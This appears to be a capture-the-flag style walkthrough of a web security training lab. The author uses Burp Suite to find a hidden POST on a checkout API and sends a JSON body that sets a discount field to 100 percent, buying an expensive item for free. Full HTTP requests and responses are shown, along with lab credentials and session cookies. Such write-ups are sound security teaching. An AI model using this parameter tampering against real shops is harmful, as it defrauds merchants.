Exploiting a mass assignment vulnerability
Description
To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter
.
Approach
After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite to check if there were any requests reaching an API. I found this interesting request:
GET /api/checkout HTTP/2
Host: 0a64001f04086e8280e0b2da00300085.web-security-academy.net
Cookie: session=4vAia8UQZEpDw9qkNRVO7pTpaMmFrUUm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a64001f04086e8280e0b2da00300085.web-security-academy.net/cart
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Its response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 141
{
"chosen_discount": {
"percentage": 0
},
"chosen_products": [
{
"product_id": "5",
"name": "First Impression Costumes",
"quantity": 1,
"item_price": 6227
}
]
}
It prints out the data of the product at the checkout. To start, I sent the request to Burp Intruder to see its behavior when I change the HTTP methods. I added a payload marker around the HTTP method and in the payload tab, I chose simple list as the payload type. Then, in the payload settings, I selected the HTTP verbs list (note: adding lists is available in Burp Suite Pro, but you can manually build your own list if needed). After sending the attack and filtering by length, I noticed that a request with POST
as the HTTP method gets a different response:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 49
{"error":"Unexpected '}' at [line 1, column 11]"}
So I used the Content-Type Convert extension and changed it to JSON and resent the request. I got this error:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 69
{"error":"Key order: Key chosen_products: undefined is not an array"}
I copied the JSON body from the first GET request and resent the request:
POST /api/checkout HTTP/2
Host: 0a89004704935e2e8052b78a00af00bb.web-security-academy.net
Cookie: session=jQH3ifTzm9pwxpmBzfbqMLkaEj0Gc1mA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
{
"chosen_discount": {
"percentage": 0
},
"chosen_products": [
{
"product_id": "1",
"name": "Lightweight \"l33t\" Leather Jacket",
"quantity": 1,
"item_price": 133700
}
]
}
However, I got this error indicating insufficient funds:
HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0
I tried changing item_price
to 0
, but I still got the same error. Then I noticed the percentage
item in the chosen_discount
field. By setting that to 100, it means I will get a 100% discount on the product, making it free. I sent the request:
POST /api/checkout HTTP/2
Host: 0a89004704935e2e8052b78a00af00bb.web-security-academy.net
Cookie: session=jQH3ifTzm9pwxpmBzfbqMLkaEj0Gc1mA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 .
{
"chosen_discount": {
"percentage": 100
},
"chosen_products": [
{
"product_id": "1",
"name": "Lightweight \"l33t\" Leather Jacket",
"quantity": 1,
"item_price": 133700
}
]
}
I got the following response:
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The order was placed successfully, and I bought the leather jacket, solving the lab.